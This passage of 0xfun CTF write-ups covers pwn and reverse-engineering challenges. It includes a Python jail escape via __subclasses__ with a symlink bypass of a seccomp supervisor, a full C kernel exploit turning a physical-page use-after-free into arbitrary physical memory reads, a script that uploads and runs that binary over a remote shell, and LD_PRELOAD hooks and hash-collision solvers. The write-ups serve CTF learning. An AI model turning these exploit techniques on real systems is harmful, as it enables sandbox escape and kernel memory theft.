
    # Phase 10: Trigger opcode 0 → system("sh")
    asm.emit(OP_HALT, 5, 0)

    return asm.get_payload()


def main():
    payload = build_payload()

    if args.LOCAL:
        p = process('./chaos')
    else:
        p = remote(args.HOST or 'chall.0xfun.org', int(args.PORT or 8662))

    p.recvuntil(b'Feed the chaos (Hex encoded):')
    p.sendline(payload.encode())
    p.interactive()


if __name__ == '__main__':
    main()
```

**Flag**: `0xfun{l00k5_l1k3_ch479p7_c0uldn7_50lv3_7h15_0n3}`

### Warden

#### Description

A Python jail (`jail.py`) runs under a seccomp supervisor (`warden.c`). The warden uses `SECCOMP_RET_USER_NOTIF` to intercept syscalls and block access to `/flag*` paths, networking, exec, ptrace, and more. The jail restricts Python builtins, blocks imports, private attribute access (`.attr` starting with `_`), and string literals containing `__`.

#### Solution

**Two-layer bypass: Python jail escape + Seccomp symlink bypass**

**Layer 1 — Python Jail Escape:**

The jail blocks direct `._attr` access via AST but allows `getattr()` with computed strings. Construct `__` using `chr(95)` and walk `object.__subclasses__()` to find a class whose `__init__.__globals__['__builtins__']` contains `__import__`, then import `os`.

**Layer 2 — Seccomp Warden Bypass:**

The warden's BPF filter only monitors specific syscalls — `symlink`/`symlinkat` are NOT in the filter and execute freely. The warden's `openat` handler reads the path string from the tracee and checks if it starts with `/flag`. By creating a symlink (`/tmp/rf -> /flag.txt`) and opening the symlink path, the warden sees `/tmp/rf` (not blocked), but the kernel follows the symlink to `/flag.txt`.

**Exploit payload (`exploit_payload.py`):**

```python
u = chr(95)
d = u + u
subs = getattr(object, d + 'subclasses' + d)()
imp = None
for s in subs:
    try:
        init = getattr(s, d + 'init' + d)
        globs = getattr(init, d + 'globals' + d)
        if d + 'builtins' + d in globs:
            bi = globs[d + 'builtins' + d]
            if isinstance(bi, dict):
                imp = bi[d + 'import' + d]
            else:
                imp = getattr(bi, d + 'import' + d)
            break
    except Exception:
        pass
if imp:
    os = imp('os')
    link = '/tmp/rf_' + str(os.getpid())
    try:
        os.unlink(link)
    except Exception:
        pass
    os.symlink('/flag.txt', link)
    fd = os.open(link, 0)
    data = os.read(fd, 4096)
    os.close(fd)
    try:
        os.unlink(link)
    except Exception:
        pass
    print(data.decode())
```

**Solve script (`solve.py`):**

```python
#!/usr/bin/env python3
from pwn import *
import sys

HOST = sys.argv[1] if len(sys.argv) > 1 else "localhost"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337

payload = open("exploit_payload.py").read()

r = remote(HOST, PORT)
r.recvuntil(b"EOF (Ctrl+D).")
r.recvline()
r.send(payload.encode())
r.shutdown("send")
r.recvuntil(b"Executing...")
r.recvline()
output = r.recvall(timeout=10).decode()
print(output)
r.close()
```

Flag: `0xfun{wh0_w4tch3s_th3_w4rd3n_t0ctou_r4c3}`

### Phantom

#### Description

The challenge provides a Linux kernel + initramfs with a custom kernel module `phantom.ko` exposing `/dev/phantom`. It supports:

* `ioctl(CMD_ALLOC)` (0x133701): allocate an object + one physical page
* `mmap()`: map that physical page into userspace with `remap_pfn_range`
* `ioctl(CMD_FREE)` (0x133702): free the physical page

The bug is a **physical page use-after-free**: after `CMD_FREE`, the userspace mapping created by `mmap()` still points to the freed page, giving a dangling alias to whatever that page is later reallocated for.

#### Solution

1. **Create a dangling mapping to a freed physical page**
   * Open `/dev/phantom`, `CMD_ALLOC`, `mmap()` the page, then `CMD_FREE`.
   * Close the fd; the mapping remains, but the underlying physical page is back in the buddy allocator.
2. **Reclaim the freed page as a user page-table page (“dirty pagetable”)**
   * Allocate page tables by mapping a fresh anonymous region and faulting a page.
   * If the freed physical page is reused as a PTE page, the dangling mapping now gives us direct read/write access to that PTE page.
   * Detect a PTE page by looking for exactly one non-zero 8-byte entry that has `present|rw|user` bits set, then *verify* by aliasing page 1 → page 0 PFN and checking the alias works.
3. **Arbitrary physical read (and scan for the flag)**
   * With a writable PTE page, write PTE entries to map arbitrary PFNs as user pages.
   * Flush TLB (`mprotect` toggling is enough here).
   * Scan the mapped window for the ASCII pattern `0xfun{...}` and print the first non-known-fake hit.

Build + run (using the provided container instance port):

```bash
make
python3 remote.py chall.0xfun.org <port> ./exploit
```

**Code**

`Makefile`

```make
# Keep the exploit compatible with the challenge's QEMU CPU model (often close
# to x86-64 baseline). Avoid x86-64-v3/v4 and CET to prevent SIGILL.
CFLAGS  ?= -O2 -Wall -Wextra -Wno-unused-parameter -march=x86-64 -mtune=generic -fcf-protection=none \
           -fno-stack-protector -fno-asynchronous-unwind-tables -fno-unwind-tables
LDFLAGS ?= -nostdlib -static -s
LDLIBS  ?= -lgcc

all: exploit

exploit: exploit.c interface.h
	$(CC) $(CFLAGS) $(LDFLAGS) -o $@ exploit.c $(LDLIBS)

clean:
	@rm -f exploit

.PHONY: all clean
```

`exploit.c`

```c
#include <stddef.h>
#include <stdint.h>
#include <stdbool.h>

#define PHANTOM_DEV "/dev/phantom"
#define CMD_ALLOC 0x133701
#define CMD_FREE  0x133702

// Syscall numbers (x86_64)
#define SYS_write   1
#define SYS_close   3
#define SYS_mmap    9
#define SYS_mprotect 10
#define SYS_munmap  11
#define SYS_ioctl   16
#define SYS_exit    60
#define SYS_sysinfo 99
#define SYS_openat  257

#define AT_FDCWD (-100)

// open(2)
#define O_RDONLY 0
#define O_WRONLY 1
#define O_RDWR   2

// mmap(2)
#define PROT_READ  0x1
#define PROT_WRITE 0x2

#define MAP_SHARED          0x01
#define MAP_PRIVATE         0x02
#define MAP_ANONYMOUS       0x20
#define MAP_FIXED_NOREPLACE 0x100000

struct sysinfo_compat {
  int64_t uptime;
  uint64_t loads[3];
  uint64_t totalram;
  uint64_t freeram;
  uint64_t sharedram;
  uint64_t bufferram;
  uint64_t totalswap;
  uint64_t freeswap;
  uint16_t procs;
  uint16_t pad;
  uint32_t pad2;
  uint64_t totalhigh;
  uint64_t freehigh;
  uint32_t mem_unit;
  uint32_t _f[0];
};

static inline long syscall0(long n) {
  long ret;
  __asm__ volatile("syscall" : "=a"(ret) : "a"(n) : "rcx", "r11", "memory");
  return ret;
}

static inline long syscall1(long n, long a1) {
  long ret;
  __asm__ volatile("syscall"
                   : "=a"(ret)
                   : "a"(n), "D"(a1)
                   : "rcx", "r11", "memory");
  return ret;
}

static inline long syscall2(long n, long a1, long a2) {
  long ret;
  __asm__ volatile("syscall"
                   : "=a"(ret)
                   : "a"(n), "D"(a1), "S"(a2)
                   : "rcx", "r11", "memory");
  return ret;
}

static inline long syscall3(long n, long a1, long a2, long a3) {
  long ret;
  __asm__ volatile("syscall"
                   : "=a"(ret)
                   : "a"(n), "D"(a1), "S"(a2), "d"(a3)
                   : "rcx", "r11", "memory");
  return ret;
}

static inline long syscall4(long n, long a1, long a2, long a3, long a4) {
  long ret;
  register long r10 __asm__("r10") = a4;
  __asm__ volatile("syscall"
                   : "=a"(ret)
                   : "a"(n), "D"(a1), "S"(a2), "d"(a3), "r"(r10)
                   : "rcx", "r11", "memory");
  return ret;
}

static inline long syscall5(long n, long a1, long a2, long a3, long a4, long a5) {
  long ret;
  register long r10 __asm__("r10") = a4;
  register long r8 __asm__("r8") = a5;
  __asm__ volatile("syscall"
                   : "=a"(ret)
                   : "a"(n), "D"(a1), "S"(a2), "d"(a3), "r"(r10), "r"(r8)
                   : "rcx", "r11", "memory");
  return ret;
}

static inline long syscall6(long n, long a1, long a2, long a3, long a4, long a5, long a6) {
  long ret;
  register long r10 __asm__("r10") = a4;
  register long r8 __asm__("r8") = a5;
  register long r9 __asm__("r9") = a6;
  __asm__ volatile("syscall"
                   : "=a"(ret)
                   : "a"(n), "D"(a1), "S"(a2), "d"(a3), "r"(r10), "r"(r8), "r"(r9)
                   : "rcx", "r11", "memory");
  return ret;
}

static long sys_write(int fd, const void *buf, size_t len) {
  return syscall3(SYS_write, fd, (long)buf, (long)len);
}

static long sys_close(int fd) { return syscall1(SYS_close, fd); }

static long sys_openat(int dfd, const char *path, int flags, int mode) {
  return syscall4(SYS_openat, dfd, (long)path, flags, mode);
}

static long sys_ioctl(int fd, unsigned long cmd, unsigned long arg) {
  return syscall3(SYS_ioctl, fd, (long)cmd, (long)arg);
}

static void *sys_mmap(void *addr, size_t len, int prot, int flags, int fd, uint64_t off) {
  long ret = syscall6(SYS_mmap, (long)addr, (long)len, prot, flags, fd, (long)off);
  if (ret < 0) return (void *)0;
  return (void *)ret;
}

static long sys_mprotect(void *addr, size_t len, int prot) {
  return syscall3(SYS_mprotect, (long)addr, (long)len, prot);
}

static long sys_munmap(void *addr, size_t len) { return syscall2(SYS_munmap, (long)addr, len); }

__attribute__((noreturn)) static void sys_exit(int code) { syscall1(SYS_exit, code); __builtin_unreachable(); }

static long sys_sysinfo(struct sysinfo_compat *info) { return syscall1(SYS_sysinfo, (long)info); }

size_t strlen(const char *s) {
  size_t n = 0;
  while (s[n]) n++;
  return n;
}

int strcmp(const char *a, const char *b) {
  size_t i = 0;
  for (;;) {
    unsigned char ac = (unsigned char)a[i];
    unsigned char bc = (unsigned char)b[i];
    if (ac != bc) return (int)ac - (int)bc;
    if (!ac) return 0;
    i++;
  }
}

void *memcpy(void *dst, const void *src, size_t n) {
  uint8_t *d = (uint8_t *)dst;
  const uint8_t *s = (const uint8_t *)src;
  for (size_t i = 0; i < n; i++) d[i] = s[i];
  return dst;
}

int memcmp(const void *a, const void *b, size_t n) {
  const uint8_t *x = (const uint8_t *)a;
  const uint8_t *y = (const uint8_t *)b;
  for (size_t i = 0; i < n; i++) {
    if (x[i] != y[i]) return (int)x[i] - (int)y[i];
  }
  return 0;
}

__attribute__((noreturn)) static void die(const char *msg) {
  sys_write(2, msg, strlen(msg));
  sys_write(2, "\n", 1);
  sys_exit(1);
}

static void *alloc_uaf_page(void) {
  long fd = sys_openat(AT_FDCWD, PHANTOM_DEV, O_RDWR, 0);
  if (fd < 0) die("open(/dev/phantom) failed");

  if (sys_ioctl((int)fd, CMD_ALLOC, 0) != 0) die("ioctl(CMD_ALLOC) failed");

  void *uaf = sys_mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, (int)fd, 0);
  if (!uaf) die("mmap(uaf) failed");

  if (sys_ioctl((int)fd, CMD_FREE, 0) != 0) die("ioctl(CMD_FREE) failed");
  sys_close((int)fd);
  return uaf;
}

static void *map_aligned_2mb(uint64_t hint) {
  const size_t region_size = 0x200000;
  const int prot = PROT_READ | PROT_WRITE;
  const int flags = MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE;

  for (int i = 0; i < 0x2000; i++) {
    void *addr = (void *)(hint + (uint64_t)i * region_size);
    void *p = sys_mmap(addr, region_size, prot, flags, -1, 0);
    if (p) return p;
  }
  return NULL;
}

static int count_nonzero_qwords(const uint64_t *p, size_t qwords) {
  int nz = 0;
  for (size_t i = 0; i < qwords; i++) {
    if (p[i] != 0) nz++;
  }
  return nz;
}

static bool looks_like_user_pte(uint64_t pte) {
  const uint64_t low = pte & 0xfffULL;
  bool present = (low & 1) != 0;
  bool rw = (low & 2) != 0;
  bool user = (low & 4) != 0;
  return present && rw && user;
}

static bool is_printable_ascii(uint8_t c) { return (c >= 0x20 && c <= 0x7e); }

static bool is_skip_flag(const char *flag) {
  static const char *const kSkip[] = {
      "0xfun{phys1c4l_m3m0ry_c0rrupt10n_1s_g0d_m0d3}",
      "0xfun{fake_flag_for_testing}",
  };
  for (size_t i = 0; i < sizeof(kSkip) / sizeof(kSkip[0]); i++) {
    if (strcmp(flag, kSkip[i]) == 0) return true;
  }
  return false;
}

static bool try_parse_flag_at(const uint8_t *p, size_t avail, char *out, size_t out_sz) {
  const char prefix[] = "0xfun{";
  const size_t prefix_len = sizeof(prefix) - 1;
  if (avail < prefix_len + 2) return false;
  if (memcmp(p, prefix, prefix_len) != 0) return false;

  size_t i = prefix_len;
  for (; i < avail && i < 128; i++) {
    uint8_t c = p[i];
    if (c == '}') {
      size_t n = i + 1;
      if (n + 1 > out_sz) return false;
      memcpy(out, p, n);
      out[n] = '\0';
      if (is_skip_flag(out)) return false;
      return true;
    }
    if (!is_printable_ascii(c)) return false;
  }
  return false;
}

static void dbg(const char *msg) {
  sys_write(2, msg, strlen(msg));
  sys_write(2, "\n", 1);
}

static uint64_t read_memtotal_bytes(void) {
  struct sysinfo_compat info;
  for (size_t i = 0; i < sizeof(info); i++) ((uint8_t *)&info)[i] = 0;
  if (sys_sysinfo(&info) != 0) die("sysinfo() failed");
  uint64_t unit = info.mem_unit ? (uint64_t)info.mem_unit : 1ULL;
  return info.totalram * unit;
}

static int exploit(void) {
  uint64_t mem_bytes = read_memtotal_bytes();
  uint64_t max_pfn = mem_bytes / 0x1000ULL;

  const uint64_t base_hint = 0x10000000000ULL;
  const size_t region_size = 0x200000;

  void *uaf = NULL;
  void *region = NULL;
  uint64_t *pt = NULL;

  for (int attempt = 0; attempt < 1024 && !pt; attempt++) {
    if (uaf) {
      sys_munmap(uaf, 0x1000);
      uaf = NULL;
    }
    if (region) {
      sys_munmap(region, region_size);
      region = NULL;
    }

    uaf = alloc_uaf_page();

    // Map a 2MB-aligned region and fault in the first 4KB page so that the
    // first PTE entry (index 0) becomes present.
    region = map_aligned_2mb(base_hint + (uint64_t)attempt * region_size);
    if (!region) die("failed to mmap 2MB aligned region");
    *(volatile uint8_t *)region = 0x42;

    uint64_t *cand = (uint64_t *)uaf;
    int nz = count_nonzero_qwords(cand, 512);
    if (nz != 1) continue;
    if (!looks_like_user_pte(cand[0])) continue;
    if (cand[0] == 0x4141414141414141ULL) continue;

    // Verify we truly control the PTE page by aliasing page 1 -> page 0 PFN.
    uint64_t pte_flags = cand[0] & 0x8000000000000fffULL;
    uint64_t pfn_data = cand[0] >> 12;
    cand[1] = (pfn_data << 12) | pte_flags;

    if (*((volatile uint8_t *)region + 0x1000) != 0x42) continue;

    pt = cand;
    dbg("[+] captured a page-table page");
  }

  if (!pt || !region) die("failed to capture a page-table page");

  const uint64_t pte_flags = pt[0] & 0x8000000000000fffULL;
  const size_t chunk_pages = 511;
  uint8_t *scan_base = (uint8_t *)region + 0x1000;

  for (uint64_t pfn_base = 0; pfn_base < max_pfn; pfn_base += chunk_pages) {
    size_t this_pages = chunk_pages;
    if (pfn_base + this_pages > max_pfn) this_pages = (size_t)(max_pfn - pfn_base);

    for (size_t i = 0; i < chunk_pages; i++) {
      if (i < this_pages) {
        uint64_t pfn = pfn_base + i;
        pt[1 + i] = (pfn << 12) | pte_flags;
      } else {
        pt[1 + i] = 0;
      }
    }

    // Flush TLB for the range we keep remapping.
    sys_mprotect(region, region_size, PROT_READ);
    sys_mprotect(region, region_size, PROT_READ | PROT_WRITE);

    char flag[256];
    size_t len = this_pages * 0x1000ULL;
    for (size_t i = 0; i + 6 < len; i++) {
      if (scan_base[i] != '0' || scan_base[i + 1] != 'x') continue;
      if (!try_parse_flag_at(scan_base + i, len - i, flag, sizeof(flag))) continue;
      sys_write(1, flag, strlen(flag));
      sys_write(1, "\n", 1);
      return 0;
    }
  }

  die("failed to locate flag in physical memory");
  return 1;
}

__attribute__((noreturn)) void _start(void) {
  int rc = exploit();
  sys_exit(rc);
}
```

`remote.py`

```python
#!/usr/bin/env python3
import base64
import re
import socket
import sys
import time
import textwrap


DEFAULT_HOST = "chall.0xfun.org"
DEFAULT_PORT = 38603


def recv_until_any(sock: socket.socket, needles: list[bytes], timeout_s: float = 20.0) -> bytes:
    sock.settimeout(0.5)
    end = time.time() + timeout_s
    buf = bytearray()
    while time.time() < end:
        try:
            chunk = sock.recv(4096)
        except socket.timeout:
            continue
        if not chunk:
            break
        buf += chunk
        for n in needles:
            if n in buf:
                return bytes(buf)
    return bytes(buf)


def main() -> int:
    if len(sys.argv) not in (2, 4):
        print(
            f"usage: {sys.argv[0]} ./exploit\n"
            f"   or: {sys.argv[0]} HOST PORT ./exploit",
            file=sys.stderr,
        )
        return 2

    if len(sys.argv) == 2:
        host, port_s, path = DEFAULT_HOST, str(DEFAULT_PORT), sys.argv[1]
    else:
        host, port_s, path = sys.argv[1], sys.argv[2], sys.argv[3]

    try:
        port = int(port_s, 10)
    except ValueError:
        print(f"invalid port: {port_s}", file=sys.stderr)
        return 2

    blob = open(path, "rb").read()
    # Avoid shell line-length limits by chunking base64 into short lines.
    b64 = "\n".join(textwrap.wrap(base64.b64encode(blob).decode(), 76))

    with socket.create_connection((host, port), timeout=10.0) as s:
        banner = recv_until_any(s, [b"$ ", b"# "], timeout_s=30.0)
        sys.stdout.buffer.write(banner)
        sys.stdout.flush()

        s.settimeout(None)

        cmd = []
        cmd.append(
            r'DIR=""; for d in /tmp /dev/shm /home/ctf /; do [ -w "$d" ] && DIR="$d" && break; done; '
            r'[ -n "$DIR" ] || { echo "no writable dir"; exit 1; }; cd "$DIR"'
        )
        cmd.append("stty -echo 2>/dev/null || true")
        cmd.append("cat >./exploit.b64 <<'EOF'")
        cmd.append(b64)
        cmd.append("EOF")
        cmd.append("base64 -d ./exploit.b64 > ./exploit || busybox base64 -d ./exploit.b64 > ./exploit")
        cmd.append("chmod +x ./exploit")
        cmd.append("./exploit")
        cmd.append("stty echo 2>/dev/null || true")
        cmd.append("echo __DONE__")
        cmd.append("echo")  # ensure newline
        payload = ("\n".join(cmd) + "\n").encode()
        for i in range(0, len(payload), 4096):
            s.sendall(payload[i : i + 4096])

        out = recv_until_any(s, [b"__DONE__"], timeout_s=300.0)
        sys.stdout.buffer.write(out)
        sys.stdout.flush()

        m = re.search(rb"0xfun\\{[^}]{1,120}\\}", out)
        if m:
            sys.stdout.buffer.write(b"\n[flag] " + m.group(0) + b"\n")
            sys.stdout.flush()

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

**Flag:** `0xfun{r34l_k3rn3l_h4ck3rs_d0nt_unzip}`

***

## rev

### Chip8 Emulator

#### Description

A CHIP-8 emulator binary with 100+ game ROMs. The description hints at a "flaw" in the emulator and that in "quad cycles" (4 iterations) the flag can be recovered.

#### Solution

The binary is an unstripped ELF x86-64 CHIP-8 emulator. Key findings from static analysis:

1. **Hidden opcode `FxFF`**: The standard CHIP-8 instruction set doesn't include `FxFF`. In this emulator, `decode_F_instruction` routes opcode `0xFF` to `Cpu::superChipRendrer()`, which performs AES-256-CBC decryption.
2. **Encryption scheme**: The `superChipRendrer` function:
   * Loads a base64-encoded ciphertext from the global `_3nc` variable
   * Derives the AES key from `bytearray3` (ultimately copied from `emu_key`, derived deterministically from constants `0xdeadbeef`, `0xcafebabe`, `0x8badf00d`, `0xfeedface`)
   * Base64-decodes the ciphertext; first 16 bytes = IV, rest = AES-256-CBC ciphertext
   * Decrypts and stores the result back into `_3nc`
   * XORs filename bytes `[0x4C,0x46,0x4B,0x4D,0x04,0x5E,0x52,0x5E]` with `0x2A` to get `"flag.txt"`
   * Writes the final decrypted content to `flag.txt`
3. **Quad cycles**: The ROM `F0FF 1200` (trigger decrypt, then loop) causes `superChipRendrer` to run multiple times. Each cycle base64-decodes and decrypts the previous result, requiring 4 iterations total to reach the plaintext flag.
4. **Key extraction**: The key derivation is complex obfuscated code. Using an `LD_PRELOAD` hook on `EVP_DecryptInit_ex`, the AES-256 key was captured at runtime:
   * Key (hex): `744c6542484a764c434448444541434843424538484353414946696441474749`
   * Key (ASCII): `tLeBHJvLCDHDEACHCBE8HCSAIFidAGGI`

**Solution script:**

```python
#!/usr/bin/env python3
import base64
from Crypto.Cipher import AES

b64_ciphertext = "SMr85LT/QH8WBgB7FAHDJ+RDYEOzmc+8Hq+2HKyaEbwR0DN9BaUFpMgRyi3p9HBHra+5Hz13INUh5jEc/TSPvAHnbxbmKYQSukvmjEG8Jpb76Qfnv28GvW5Puov9jab0SFJVoZMDrHYlfzz7xcxpXRkYiQMElRMEm3MXLyqok/KpRB65upKUMtC20YMG02TnJAe63deizlhJWmwYn2UbMR4tU6WCHSF8Il7ShvC9hOOTXFRjOY1bHlutv4dYydyqTB3i7XP5rZiaK20tUfp5LGF/f+pQkqx4gVfXl2O2Vs1jDcjesb3ezbJT0VJfEreJZbtJJXyWTwybo/3BoBKfD11bf17/6LZg6Z4PEH8FHXUDZV52uLbpMvt3ZrWU5t7p"

key = bytes.fromhex("744c6542484a764c434448444541434843424538484353414946696441474749")
data = b64_ciphertext

for cycle in range(4):
    raw = base64.b64decode(data)
    iv, ciphertext = raw[:16], raw[16:]
    cipher = AES.new(key, AES.MODE_CBC, iv=iv)
    plaintext = cipher.decrypt(ciphertext)
    pad_len = plaintext[-1]
    if 1 <= pad_len <= 16 and all(b == pad_len for b in plaintext[-pad_len:]):
        plaintext = plaintext[:-pad_len]
    data = plaintext.decode('ascii')

print(data)
```

**LD\_PRELOAD hook used to extract the key:**

```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>

int EVP_DecryptInit_ex(void *ctx, void *type, void *impl,
                       const unsigned char *key, const unsigned char *iv) {
    typedef int (*orig_func)(void*, void*, void*, const unsigned char*, const unsigned char*);
    orig_func orig = (orig_func)dlsym(RTLD_NEXT, "EVP_DecryptInit_ex");
    if (key) {
        fprintf(stderr, "KEY: ");
        for (int i = 0; i < 32; i++) fprintf(stderr, "%02x", key[i]);
        fprintf(stderr, "\n");
    }
    if (iv) {
        fprintf(stderr, "IV: ");
        for (int i = 0; i < 16; i++) fprintf(stderr, "%02x", iv[i]);
        fprintf(stderr, "\n");
    }
    return orig(ctx, type, impl, key, iv);
}
```

Compiled and used:

```bash
gcc -shared -fPIC -o hook.so hook.c -ldl
python3 -c "open('trigger.ch8','wb').write(bytes([0xF0,0xFF,0x12,0x00]))"
LD_PRELOAD=./hook.so ./chip8Emulator -r trigger.ch8
```

**Flag:** `0xfunCTF2025{N0w_y0u_h4v3_clear_1dea_H0w_3mulators_WoRK}`

### VM Stealth

#### Description

A small ELF file stands guard behind invisible walls. It runs checks, transforms your input through a mysterious process, and responds with a single word "Wrong" or "Correct".

**Category:** Rev | **Points:** 750

#### Solution

The binary is UPX-packed. After unpacking with `upx -d vm`, the binary implements:

1. **Anti-debugging checks** (all non-fatal, just print warnings to stderr):
   * `ptrace(PTRACE_TRACEME)` -- detects debugger attachment
   * Reading `/proc/self/status` for `TracerPid:` -- detects tracing
   * Timing check using `gettimeofday` around a busy-loop of 250,000 FNV-64 iterations -- detects slow execution (e.g., single-stepping)
2. **FNV-1a 32-bit hash verification** on the entire input string:
   * Initializes hash state `ecx = 0x811c9dc5` (FNV offset basis)
   * For each byte: `eax = byte ^ ecx; ecx = eax * 0x01000193` (FNV prime)
   * After the loop, compares the **intermediate XOR result** (eax, before the final multiply) against `0xd884285a`
   * This means: `last_byte ^ hash_state_before_last_byte == 0xd884285a`

Since FNV-1a uses only a 32-bit hash, there are many valid collisions. The flag format is `0xfun{...}`, so we need: `fnv1a("0xfun{" + inner) == 0xd884285a ^ 0x7d` (where `0x7d = '}'`), giving target `0xd8842827`.

**Meet-in-the-middle approach:** Split the inner string into two halves. Compute forward hashes from the prefix for all left halves, then invert the hash backwards from the target for all right halves. When a forward hash matches a backward-inverted hash, we have a collision.

The modular inverse of FNV prime mod 2^32 allows backward computation: `h_prev = ((h_curr * PRIME_INV) & 0xFFFFFFFF) ^ byte`

```python
#!/usr/bin/env python3
"""Meet-in-the-middle FNV-1a hash collision finder."""
import itertools, string

FNV_OFFSET = 0x811c9dc5
FNV_PRIME  = 0x01000193
MASK       = 0xFFFFFFFF
PRIME_INV  = pow(FNV_PRIME, -1, 2**32)
TARGET_EAX = 0xd884285a

def fnv1a(data, init=FNV_OFFSET):
    h = init
    for b in data:
        h = ((h ^ b) * FNV_PRIME) & MASK
    return h

# Target: hash of everything before '}' must equal TARGET_EAX ^ ord('}')
TARGET = (TARGET_EAX ^ ord('}')) & MASK  # 0xd8842827
hash_prefix = fnv1a(b"0xfun{")

charset = string.ascii_lowercase + string.digits + '_'

for total_len in range(4, 13):
    left_len = total_len // 2
    right_len = total_len - left_len

    # Forward: hash after prefix + left_half
    forward = {}
    for combo in itertools.product(charset, repeat=left_len):
        h = fnv1a(''.join(combo).encode(), hash_prefix)
        forward[h] = ''.join(combo)

    # Backward: invert hash from target through right_half
    for combo in itertools.product(charset, repeat=right_len):
        right = ''.join(combo).encode()
        h = TARGET
        for b in reversed(right):
            h = ((h * PRIME_INV) & MASK) ^ b
        if h in forward:
            flag = f"0xfun{{{forward[h]}{''.join(combo)}}}"
            print(f"FOUND: {flag}")
```

Multiple valid flags exist (e.g., `0xfun{f57nbf}`, `0xfun{tTU6p5}`). Any collision that makes the binary output "Correct!" is accepted.

Verification:

```
$ echo '0xfun{f57nbf}' | ./vm_unpacked
Password: Correct!
```

### Nanom-dinam???itee?

#### Description

Don't trust what you see, trust what happens when no one is looking.

A stripped x86-64 ELF binary that uses fork/ptrace anti-debugging with a parent-child architecture to validate a 40-character password.

#### Solution

The binary contains a fake flag `0xfun{1_10v3_M1LF}` printed when the password length is wrong. The real validation happens through a parent-child ptrace dance:

1. **Child process** (`fcn.0000131b`): Calls `ptrace(PTRACE_TRACEME)` then `raise(SIGSTOP)` to let the parent attach. Reads a 40-character password, then iterates over each character computing a modified FNV-1a hash. After each iteration, it executes `ud2` (illegal instruction) which raises `SIGILL`.
2. **Parent process** (`fcn.000014ad`): Loads 40 expected hash values from the `.rodata` section at offset `0x20a0`. On each `SIGILL` from the child, it uses `ptrace(PTRACE_GETREGS)` to read the child's registers — `rax` contains the current hash and `rbx` contains the iteration index. It compares the hash against `expected[index]`. If correct, it advances RIP by 2 (skipping `ud2`) and continues the child. If wrong, it kills the child.
3. **Hash function** (`fcn.000012a9`): A modified FNV-1a with an extra folding step per byte:

   ```
   hash ^= byte
   hash *= 0x100000001b3  (FNV prime)
   hash ^= (hash >> 32)   (fold high bits)
   ```

Since each character's hash depends only on the previous hash (cumulative), we can brute-force each position independently over printable ASCII (95 candidates per position).

```python
#!/usr/bin/env python3
FNV_OFFSET = 0xcbf29ce484222325
FNV_PRIME  = 0x100000001b3
MASK64     = 0xffffffffffffffff

def modified_fnv1a_step(hash_val, byte_val):
    h = (hash_val ^ byte_val) & MASK64
    h = (h * FNV_PRIME) & MASK64
    h = (h ^ (h >> 32)) & MASK64
    return h

expected = [
    0xaf63ad4c296231e3, 0x6891136a394b590b,
    0xf9dd6a7fa2d59e48, 0x68da33e1d821d246,
    0x4c9850c20de0493a, 0x071a7abd930603ce,
    0x18024b20cb3a1de1, 0x060337b955c30e44,
    0xfa85e5ec40f4c02e, 0xa645cd72f9a7bc35,
    0x30586e5e085d6ce2, 0x83b00fc8b50f687a,
    0xd392ed0b7abf08ea, 0x41b15281d32a2d99,
    0xca7d27991ad130d6, 0xe3db2e2872ad3b37,
    0xdaaad6ba06f12702, 0x81723f194ab7d6ca,
    0xacf831f95a9a7b37, 0x84383db47047b3bd,
    0xf344679a3a927dd0, 0xefb99a116952c3ec,
    0xab2450955c866a6a, 0x551f06cc6d794eb7,
    0x1d07755e18266166, 0x7a0d83e3733b754c,
    0xa06c9a7c6e643cb1, 0xfcc7536f68940bb9,
    0x1abe924ea92e99ea, 0xa06c33a9da42cee1,
    0xdaaa9b9d052ff54b, 0xbfdb7fcf6fa60f33,
    0xa8097d7a1f25798a, 0xad99f0824134278c,
    0x30bb9554fb245a6c, 0xf3191e664ddc910b,
    0xf03ffbd6bdf50a6a, 0x31c31fe4f6a34d12,
    0x31dc880f26a0e12d, 0x5a9c81bef9c25b4e,
]

password = []
current_hash = FNV_OFFSET
for i in range(40):
    for c in range(0x20, 0x7f):
        h = modified_fnv1a_step(current_hash, c)
        if h == expected[i]:
            password.append(chr(c))
            current_hash = h
            break

print(''.join(password))
# 0xfun{unr3adabl3_c0d3_is_s3cur3_c0d3_XD}
```

**Flag:** `0xfun{unr3adabl3_c0d3_is_s3cur3_c0d3_XD}`

### pingpong

#### Description

Rev challenge (495 points, 2 solves). A stripped Rust ELF binary that binds a UDP socket and waits for data from specific IP addresses.

#### Solution

**Binary behavior:**

1. Hex-decodes a hardcoded ciphertext: `0149545b5f4b5d1e5c545d1a55036c5700404b46505d426e02001b4909030957414a7b7a48` (37 bytes)
2. Binds a UDP socket on `127.0.0.1:9768`
3. Waits for a 37-byte UDP packet from IP `112.105.110.103` or `112.111.110.103` (ASCII for "ping" and "pong")
4. XORs the received data with keys derived from the IP address strings, alternating every 15 bytes
5. Compares the XOR result against the ciphertext using `bcmp`
6. If match: prints "Now you're pinging the pong!"

**XOR key schedule (from disassembly at `0x18fe0`):**

* The binary formats each IpAddr to its decimal string representation
* Key alternates between `"112.105.110.103"` (ping, 15 chars) and `"112.111.110.103"` (pong, 15 chars)
* Bytes 0-15: XOR with ping string, bytes 16-30: XOR with pong string, bytes 31-36: XOR with ping string
* The flip occurs when `index % 15 == 0`

**Flag recovery:** Since `received_data XOR key == ciphertext`, the flag is `ciphertext XOR key`:

```python
#!/usr/bin/env python3
import binascii

hex_str = '0149545b5f4b5d1e5c545d1a55036c5700404b46505d426e02001b4909030957414a7b7a48'
data = bytearray(binascii.unhexlify(hex_str))

ping = b"112.105.110.103"  # 15 bytes
pong = b"112.111.110.103"  # 15 bytes
r15 = 15

result = bytearray(len(data))
r14 = 0  # 0=ping, 1=pong

result[0] = data[0] ^ ping[0]

for i in range(1, len(data)):
    key = pong if r14 else ping
    idx = i % r15
    result[i] = data[i] ^ key[idx]
    if idx == 0:
        r14 = 1 - r14

print(result.decode())
# 0xfun{h0mem4d3_f1rewall_305x908fsdJJ}
```

**Verification:** Used an `LD_PRELOAD` hook to replace `recvfrom`, injecting the computed flag bytes with a spoofed source IP of `112.105.110.103`. The binary accepted the data and the flag was confirmed correct.

**Flag:** `0xfun{h0mem4d3_f1rewall_305x908fsdJJ}`

### Pharaoh's Curse

#### Description

